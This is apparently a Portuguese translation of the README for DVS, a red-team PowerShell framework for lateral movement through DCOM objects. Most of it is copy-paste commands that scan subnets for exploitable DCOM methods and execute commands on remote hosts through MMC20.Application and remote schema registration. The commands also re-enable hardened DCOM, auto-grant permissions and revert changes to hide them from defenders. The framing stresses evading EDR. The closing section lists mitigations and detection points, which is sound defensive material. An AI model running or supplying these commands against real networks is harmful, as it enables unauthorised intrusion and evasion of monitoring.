
D(COM) V(ulnerabilidade) S(canner) também conhecido como Canivete Suíço Traiçoeiro - Movimento lateral usando objetos DCOM
Você já se perguntou como pode se mover lateralmente através de redes internas? Ou interagir com máquinas remotas sem alertar os EDRs?
Vamos supor que temos credenciais válidas, ou uma sessão ativa com acesso a uma máquina remota, mas estamos sem uma opção para executar um processo remotamente de uma forma conhecida, esperada ou altamente monitorada (ex.: WMI, Agendador de Tarefas, WinRM, PowerShell Remoting).
Para esses cenários, o framework DVS vem ao resgate.
O framework DVS é um canivete suíço que permite enumerar funções vulneráveis de objetos DCOM remotos, lançá-los e até lançar ataques usando-os.
O framework está sendo desenvolvido com uma mentalidade "Red Team" e usa métodos furtivos para comprometer máquinas remotas.
O framework DVS contém várias maneiras de contornar o hardening remoto contra DCOM, reabilitando o acesso DCOM remotamente e concedendo automaticamente as permissões necessárias ao usuário atacante.
O framework também pode reverter alterações na máquina remota ao seu estado original, antes do ataque - ocultando essas mudanças dos defensores.
Nosso principal insight é que a ferramenta também pode executar comandos usando objetos DCOM não vulneráveis através de uma técnica interessante (Leia abaixo sobre Invoke-RegisterRemoteSchema)
Compatível com PowerShell 2.0 e superior
Vídeo PoC no Youtube: DVS
Esta ferramenta é apenas para fins de teste e educacionais. Qualquer outro uso deste código não é permitido. Use por sua própria conta e risco.
O autor NÃO assume responsabilidade pelo uso indevido desta ferramenta.
Ao usar esta ferramenta, você aceita que qualquer dano causado pelo uso dela é de sua responsabilidade.
Acesso remoto ao registro (MS-RRP)
AutoGrant estiver marcado, verificar permissões de escrita; caso contrário, verificar permissões de leituraProvedor de Registro Padrão (Se o registro remoto for negado)
StdRegProv está acessívelAutoGrant estiver marcado, verificar permissões de escrita; caso contrário, verificar permissões de leituraA ferramenta DVS primeiro verifica se a identidade principal tem acesso à máquina remota através das seguintes etapas:
Ações básicas
SkipRegAuth não estiver marcado)
AutoGrant estiver marcado), caso contrário, falharadsi/WindowsIdentity) têm permissão para interagir com o DCOM (através de consultas ao registro remoto)AutoGrant estiver marcado), caso contrário, falharHKLM ou HKCU)Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Obter detalhes do comando Invoke-DCOMObjectScan
PS> Get-Help Get-ExecutionCommand -Detailed # Obter detalhes do comando Get-ExecutionCommand
PS> Get-Help Invoke-ExecutionCommand -Detailed # Obter detalhes do comando Invoke-ExecutionCommand
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Obter detalhes do comando Invoke-RegisterRemoteSchema
A função Invoke-DCOMObjectScan permite escanear objetos DCOM e encontrar funções vulneráveis através de uma lista de padrões ou nomes exatos de funções que você incluiu em um arquivo.
Exemplos:
Enumera e escaneia o objeto MMC20.Application (ProgID) da máquina atacante para o host DC01 sem consultar o registro.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
Nota: A ferramenta não analisará permissões ACL e, quando bem-sucedida, resolverá todas as informações sobre o objeto, exceto os detalhes mencionados no registro (como nome do objeto, arquivo executável, etc.)
Verifica se o objeto MMC20.Application (ProgID) está acessível da máquina atacante para o host DC01 sem primeiro consultar e verificar a lista de acesso do objeto DCOM.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
Valida se o MMC20.Application (ProgID) é aplicável através do intervalo 10.211.55.4/24. Se existir, a ferramenta tentará enumerar as informações sobre ele (usando a sessão atual do usuário logado).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
Valida se o CLSID {00020812-0000-0000-C000-000000000046} através do IP 10.211.55.4 existe e está acessível. Se existir, a ferramenta resolverá as informações sobre ele (usando credenciais lab\administrator).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
Escaneia todos os objetos armazenados em um caminho especificado (ex.: C:\Users\USERNAME\Desktop\DVS\objects.txt) através do IP 10.211.55.4, e encontra a lista de funções localizada no arquivo especificado como vulnerable.txt usando as credenciais lab\administrator com a seguinte configuração:
Profundidade máxima: 4
Resultados máximos: 1 (1 resultado para cada objeto)
Modo AutoGrant: Se não tivermos acesso ao objeto ou se o recurso DCOM estiver desabilitado, habilita o recurso DCOM e realiza a concessão automática ao objeto DCOM relevante.
Por fim, reverte a máquina para o mesmo estado anterior ao ataque.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
Escaneia todos os objetos armazenados nas máquinas remotas disponíveis no intervalo 10.211.55.1/24 e encontra funções potencialmente vulneráveis a partir da lista localizada no arquivo selecionado (ex.: C:\Users\USERNAME\Desktop\DVS\vulnerable.txt), excluindo os objetos no arquivo selecionado (ex.: C:\Users\USERNAME\Desktop\DVS\exclude.txt), e pula propriedades com o mesmo nome em outras rotas no mesmo objeto.
NOTA: A flag SkipSameProperyName pode perder funções vulneráveis quando há o mesmo nome de propriedade com preferências diferentes (Métodos/outras propriedades) ou cadeia de profundidade diferente.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
A função Get-ExecutionCommand permite gerar um payload PowerShell que interagirá e executará com a função DCOM remota com os parâmetros relevantes.
Verifica se a identidade principal tem permissão para interagir com o objeto CLSID {00020812-0000-0000-C000-000000000046} através do IP 10.211.55.4 usando credenciais lab\administrator, então gerará o comando de execução.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
Verifica o acesso DCOM,
Caso a identidade principal não tenha as permissões necessárias ou o recurso DCOM esteja desabilitado, a ferramenta habilitará o recurso DCOM, concederá acesso à identidade e interagirá com o objeto MMC20.Application (ProgID) através do IP 10.211.55.4 usando credenciais lab\administrator, e gerará o comando de execução.
Por fim, reverterá a máquina para o mesmo estado anterior ao ataque.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
Tenta interagir com o objeto MMC20.Application (ProgID) através do intervalo 10.211.55.1/24 usando a sessão atual logada sem analisar permissões ACL, então gerará o comando de execução.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
Tenta interagir com o objeto MMC20.Application (ProgID) através do IP 10.211.55.4, sem consultar o registro.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
A função Invoke-ExecutionCommand permite executar comandos através do Objeto DCOM usando o usuário logado ou credenciais fornecidas.
Exemplos:
Verifica o acesso DCOM,
Caso a identidade principal não tenha as permissões necessárias ou o recurso DCOM esteja desabilitado, a ferramenta habilitará o recurso DCOM, concederá acesso, interagirá com o objeto MMC20.Application (ProgID) através do intervalo: 10.211.55.1/24 usando a sessão atual do usuário logado e executará os seguintes comandos:
Executa o comando cmd.exe /c calc
Define o atributo Frame.Top como 1
Por fim, reverterá a máquina para o mesmo estado anterior ao ataque.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
Tenta interagir com o objeto MMC20.Application (ProgID) usando credenciais lab\administrator através do IP 10.211.55.4, e executa o seguinte comando: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
Tenta interagir com o objeto MMC20.Application (ProgID) usando a sessão atual do usuário logado sem analisar permissões ACL, e executa o seguinte comando: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
A função Invoke-RegisterRemoteSchema permite executar comandos através dos seguintes objetos DCOM usando o usuário logado ou credenciais fornecidas:
Nota: Esses objetos DCOM não precisam de acesso ao hive da máquina local. Eles podem se estabelecer com qualquer usuário que possa acessar a máquina remota!
Executa o comando cmd /c calc no intervalo 10.211.55.1/24 usando a sessão atual logada, e concede privilégios se necessário
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
Executa o comando cmd /c calc na máquina remota 10.211.55.4 usando credenciais fornecidas
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
Desabilitar acesso DCOM remoto
Desabilitar acesso ao registro remoto se não for necessário
Ambas as opções são difíceis de implementar em um ambiente corporativo sem impacto na disponibilidade.
No entanto, pode ser uma boa opção de hardening para endpoints que não precisam de gerenciamento remoto de domínio (ex.: endpoints autônomos).
Ativar Perfis de Domínio e Privados no Firewall do Windows Defender
Migrar para usar LAPS para reduzir a superfície de ataque. Se cada computador no domínio tiver uma senha de administrador local diferente, essa conta não pode ser usada para movimento lateral.
Endurecer os direitos de acesso do usuário pode prevenir este ataque
Usando Objetos de Política de Grupo, uma organização pode remover administradores, usuários e outros grupos da lista e migrar para usar um grupo/usuário especial para gerenciamento central que não faça login interativamente em outros computadores
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
Em guias oficiais de hardening como CIS, a configuração recomendada para [Access this computer from the network] é com os valores "administradores e Usuários de Área de Trabalho Remota ou Usuários Autenticados". Essas recomendações são vulneráveis à ferramenta DVS.
Endurecer as permissões DCOM removendo os direitos dos administradores das permissões - Remote Launch e Remote Activation.
Use um firewall baseado em host / firewall consciente de aplicativos para bloquear o acesso DCOM entre computadores. Especialmente para computadores que não fazem parte da infraestrutura de TI ou gerenciamento.
Regras de controle de aplicativos podem ser usadas como último círculo de controles de segurança para evitar que processos vulneráveis gerem processos filhos perigosos ou carreguem DLLs.
Exemplos:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
Monitore alterações no registro nos seguintes locais:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
Esta chave são as configurações de permissão DCOM. Se alteradas, pode significar que um adversário que usou a ferramenta DVS removeu o hardening.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"As subchaves e valores de registro associados à chave [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] contêm informações sobre um aplicativo necessárias para suportar a funcionalidade COM. Essas informações incluem tópicos como formatos de dados suportados, informações de compatibilidade, identificadores programáticos, DCOM e controles." Referência do Microsoft dev center
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
Esta alteração de chave pode indicar que a ferramenta DVS desabilitou as restrições remote activation e Remote Launch do DCOM.
Use um firewall consciente de aplicativos para bloquear o acesso DCOM entre computadores. Especialmente de um computador que não faz parte da infraestrutura de TI ou gerenciamento.
Sistema de prevenção de intrusão (ex.: Snort, Suricata) pode ser usado para detectar o protocolo DCOM, que é baseado em RPC (MS-RPC, MS-RPCE) e protocolo de registro remoto (MS-RRP).
Monitore o firewall do Windows Defender habilitando o log de auditoria no tráfego bloqueado para perfis domínio e privados.
Monitore alterações na seguinte chave. Pode indicar que a ferramenta DVS criou uma regra para contornar as restrições de RPC dinâmico do Firewall do Microsoft Defender.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
Monitore logs de eventos do Windows:Habilitar auditoria de eventos. Configurações de auditoria que devem ser ativadas em sucesso e falha: Auditar eventos de logon de conta | Auditar eventos de logon | Auditar acesso a objetos | Auditoria NTLM
Navegue até esta chave de registro: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] Crie novos DWORDs com valor '1' chamados ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel